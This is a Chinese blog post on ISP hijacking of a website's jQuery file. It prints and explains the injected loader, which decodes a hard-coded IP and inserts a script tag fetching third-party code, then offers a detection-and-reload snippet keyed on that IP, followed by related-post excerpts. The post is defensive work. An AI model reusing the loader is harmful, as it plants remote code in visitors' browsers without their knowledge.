1. 程式人生 > >被運營商劫持js的解決辦法

被運營商劫持js的解決辦法

    前言:一直以來有一個問題困擾著我,就是網頁的js被人替換掉,然後造成自己辛辛苦苦寫的程式碼,變成了bug程式碼,,無奈之下,嘗試過工信部投訴,但是投訴沒多久,牛皮癬出來了,為了暫時解決這個問題,就臨時想了一個辦法解決。

    一、首先看一下我的js被替換成什麼樣子了

     

    上圖是第1個jqeury被替換了,如果有多個外部js,那麼每次大概有5分之1的概率被劫持1個隨機的外部js。

!function(e, t, n, o, r, i, a, c){
    c = function(e, t, n) {
        for (t = e % 256, n = 3; 0 < n; n--) t = (e = Math.floor(e / 256)) % 256 + "." + t;
        return t
    }(2095620274),
    (a = function(e){ r = t.createElement(n),i = t.getElementsByTagName(n)[0], r.src = "//" + e, 
    	i.parentNode.insertBefore(r, i)
    })(o + (0 < o.indexOf("?") ? "&": "?") + "_t" + (new Date).getTime() + "=0i"), a(c + "/v1/a/?u=3236477")
}(window, document, "script", "我的域名/static/help/js/jquery18min.js?t=23432423234");

    上面是被替換的jquery的程式碼

    解釋:

         外層自執行函式:
  e = window
  t = document
  n = script
  o = url //自己的js的地址
  內部c函式 : 主方法主要根據e引數是生成ip地址,給第三個引數用
  e = 2095620274 = ip地址:124.232.160.178
  t = a = () 主要執行函式  //主要程式碼,在第一個script標籤前面建立被劫持的url的script標籤,有屁用。

  n = t(n) 等於執行t方法,只是url引數被替換成了/v1/a/?u=3236477. 

        就是在生產了2個script的dom,其中一個是去請求帶了時間戳的自己網站的被替換的js,第二個是建立劫持方的js。所以就有了上面的3個script標籤。

        問題:被劫持的js,採用這種方式生成的dom,會打亂載入順序被,所以,經常出現頁面無響應的問題。即xxx is undifiend,各種隨機出現。

   二、解決辦法

        在最後一個外部的js的標籤處增加一個判斷,如果被這個ip劫持了,(我們湖南地區被劫持都是這個ip),就執行window.location.href = window.location.href

    具體加的程式碼如下:

<script type="text/javascript">
	function sfdianxinjiechi(){
		var ss = document.getElementsByTagName("script");
		var sfjc = false;  //是否劫持
		for (var i = 0; i < ss.length; i++) {
			if(ss[i].src.indexOf("124.232.160.178/v1/a/")>0){
				sfjc = true;
			}
		}
		return sfjc;
	};
	if(sfdianxinjiechi()){
		//最好再加上一段cookie計數的邏輯,比如一個1分鐘的cookie的key值中,判斷此情況重新整理次數,設定個上限。
		//如果不這樣,萬一每次都被劫持的話,那麼直接頁面無限刷了,直接被自己併發攻擊了。。。
		setTimeout(function(){
			//alret("電信ip:124.232.160.178劫持你的網路,請打電話投訴!");
			window.location.href = window.location.href;
		},200);
	};
</script>

結語: 弄個https可以徹底解決的。

相關推薦

運營劫持js解決辦法

    前言:一直以來有一個問題困擾著我,就是網頁的js被人替換掉,然後造成自己辛辛苦苦寫的程式碼,變成了bug程式碼,,無奈之下,嘗試過工信部投訴,但是投訴沒多久,牛皮癬出來了,為了暫時解決這個問題,就臨時想了一個辦法解決。     一、首先看一下我的js被替換成什麼樣子

HTML5頁面運營DNS劫持問題及解決方案,app中h5頁面原始碼的獲取

App應用的html5頁面經過運營商的行動網路(非wifi網路),被強制插入廣告和手機管家的多餘資訊,在有些場景嚴重干擾使用者的操作,也產生在美麗的頁面上加入了不協調的懸浮層。並且這個手機管家類的懸浮層有時間出現,有時間不出現,神出鬼沒,雖然你可以通過點選關閉手

discuz掛馬怎麼辦 discuz百度快照劫持解決辦法

discuz被掛馬怎麼辦 discuz百度快照被劫持的解決辦法 被劫持的表現為:   在百度中輸入自己的網址,出現被收錄的帖子連結,點選後就跳轉到菠菜網站等。 下面講下如何解決該問題:   進discuz後臺找到工具-檔案校驗,看下最近有哪些php檔案被修改了。   1、排查網站原始檔

你可能已經運營http劫持

軟件 索引 憤怒 iis7 小明 代碼檢查 size 所有 caption IIS7.COM網站劫持檢測 1、檢測網站是否被劫持2、域名是否被墻3、DNS汙染檢測4、網站打開速度檢測5、網站是否被黑、被入侵、被改標題、被掛黑鏈 【深度檢測】1、可以檢測多層js劫持、圖片

360安全瀏覽器新標籤頁2345流氓網址劫持解決辦法

最近發現360安全瀏覽器被www.234狗.不要臉劫持了, 只要開啟新標籤頁就會彈到這個網址,很多網上的辦法都試過了, 都無法解決, 頭痛欲裂的時候,突然想到了一款很多年前的牛掰小軟體“”全能資料批量處理“” 利用批處理軟體查詢搜尋360瀏覽器安裝目錄中哪些檔案及資料夾包含

Ultimus BPM 通信和運營行業應用解決方案

Ultimus BPM 通信和運營商行業應用解決方案 行業應用需求 電信運營商的主要職能是維護龐大的通信網絡和向電信用戶提供固話通訊、手機通訊、數據通訊及相關的附加增值服務,其組織特點是工種多、分工細、協調性強、管理變

DNS汙染和DNS劫持解決辦法

dns 劫持 和 汙染DNS汙染是指一些刻意制造或無意中制造出來的域名服務器分組,把域名指往不正確的IP地址。DNS劫持又稱域名劫持,是指在劫持的網絡範圍內攔截域名解析的請求,分析請求的域名,把審查範圍以外的請求放行,否則返回假的IP地址或者什麽都不做使請求失去響應,其效果就是對特定的網絡不能訪問或訪問的是假

Sql Server 2005/2008數據庫標記為“可疑”的解決辦法

裏的 suspect round 失去 tar 對象 ros 出現 刪除 日常對Sql Server 2005關系數據庫進行操作時,有時對數據庫(如:Sharepoint網站配置數據庫名Sharepoint_Config)進行些不正常操作如數據庫在讀寫時而無故停止數據庫,從

記一次服務器挖礦經歷與解決辦法

alt boot 告警 port 下載 被黑 rep $2 nano 記一次服務器被挖礦經歷與解決辦法 在最近的某一天裏面,中午的一個小息過後,突然手機的郵件和公眾號監控zabbix的告警多了起來。我拿起手機一看原來是某臺服務器上的CPU跑滿了,就開始登上去看一下是哪

乾貨!防運營劫持

一、什麼是運營商劫持 什麼是運營商: 運營商是指那些提供寬頻服務的ISP,包括三大運營商中國電信、中國移動、中國聯通,還有一些小運營商,比如長城寬頻、歌華有線寬頻。運營商提供最最基礎的網路服務,掌握著通往使用者物理大門的鑰匙,目前運營商劫持很普遍。 舉個劫持的栗子: 劫持方式: 運

修復網站漏洞對phpmyadmin防止入侵提權的解決辦法

phpmyadmin是很多網站用來管理資料庫的一個系統,尤其是mysql資料庫管理的較多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都會導致mysql的資料賬號密碼被洩露,那麼如何通過phpmyadmin來上傳提權webshell呢 首先我們來搭建一下PHP+mysql環境,lin

網站漏洞修復對phpmyadmin防止入侵提權的解決辦法

phpmyadmin是很多網站用來管理資料庫的一個系統,尤其是mysql資料庫管理的較多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都會導致mysql的資料賬號密碼被洩露,那麼如何通過phpmyadmin來上傳提權webshell呢 首先我們來搭建一下PHP+mysql環境

網站惡意映象十種解決辦法2018最新版

怎麼查網站是否被映象? 1.使用谷歌搜尋來搜尋你的網站內容,比如每個帖子都會出現的電話或者網址; 2.把網站內的文章標題去搜索,多試幾篇,新老內容都試下(每個字都不落下); 比如我的網站一篇文章的標題是【昆明儒虎廣告公司經營範圍_昆明標識標牌_昆明廣告製作_昆明

關於阿里雲oss上傳圖片之後會旋轉90度的解決辦法

問題描述:正常的圖片前端上傳到oss成功之後的資源地址。在html上引用的時候被旋轉了90度oss資源地址直接在瀏覽器開啟就不會旋轉問題原因:某些手機拍攝出來的照片可能帶有旋轉引數(存放在照片exif資訊裡面)。而oss資源上傳之後會預設自適應方向所以在img標籤中圖片就被旋轉了90度。 解決辦法:阿里雲給

織夢首頁head之間篡改加入異常程式碼解決辦法

最新福利:領取阿里雲1000通用代金券    網站被黑,措手不及之下只能不斷學習,這個解決辦法沒辦法做測試,因為網站自己已經清空沒法真實上手測試了,只能先收藏以備不時之需,希望以後自己都不用再看這篇文章。     首頁被篡

在刪除檔案的時候提示檔案其他程序佔用的解決辦法

在我們刪除一個檔案,或者說給一個檔案重新命名的時候,經常會刪除不了,提示說這個檔案被另外一個程序佔用著。那麼到底是哪個程序佔用了呢?這裡我們有解決辦法。 開啟資源管理器,切換到Performance

防止表格內容撐破的解決辦法總結

預設情況下,設定了表格大小,看起來沒什麼問題,但當表格裡裝了很多比表格寬度要寬的內容時就會發現表格自然的被撐大了。第一種情況是表格被英文單詞撐破了。解決辦法是在表格的屬性裡設定style="word-wrap:break-word;"但其實還是有問題。當往表格裡裝一長串的英文

oracle資料庫賬戶鎖使用PLSQL Developer解決辦法

1第一步使用 管理員賬戶登陸(sys 或者 system) 登陸 plsql    Connect as 選擇sysdba 2 登陸之後再左邊選中 myobject 選中myobject 下拉找到 users 展開,找到被鎖定的賬戶 例如 TEST 右鍵 e

win10系統vvv連線不上,提示:“在連線完成前,連線遠端計算機終止”的解決辦法

進入“控制面板”-“網路和共享中心”-“更改介面卡設定” 右鍵點“vvv連線”-“屬性”-“安全” 選擇“允許使用這些協議”,以下選項全部打勾即可: “未加密的密碼” “質詢握手身份驗證協議” “Microsoft CHAP Version2”

“httpd未識別的服務”的解決辦法

使用自動編譯安裝會出現這個問題,也就是輸入 #service httpd restart 給出這樣的提示;這時候要重啟可以 #/usr/local/apache2/bin/apachectl start 如果你希望使用 #service httpd resta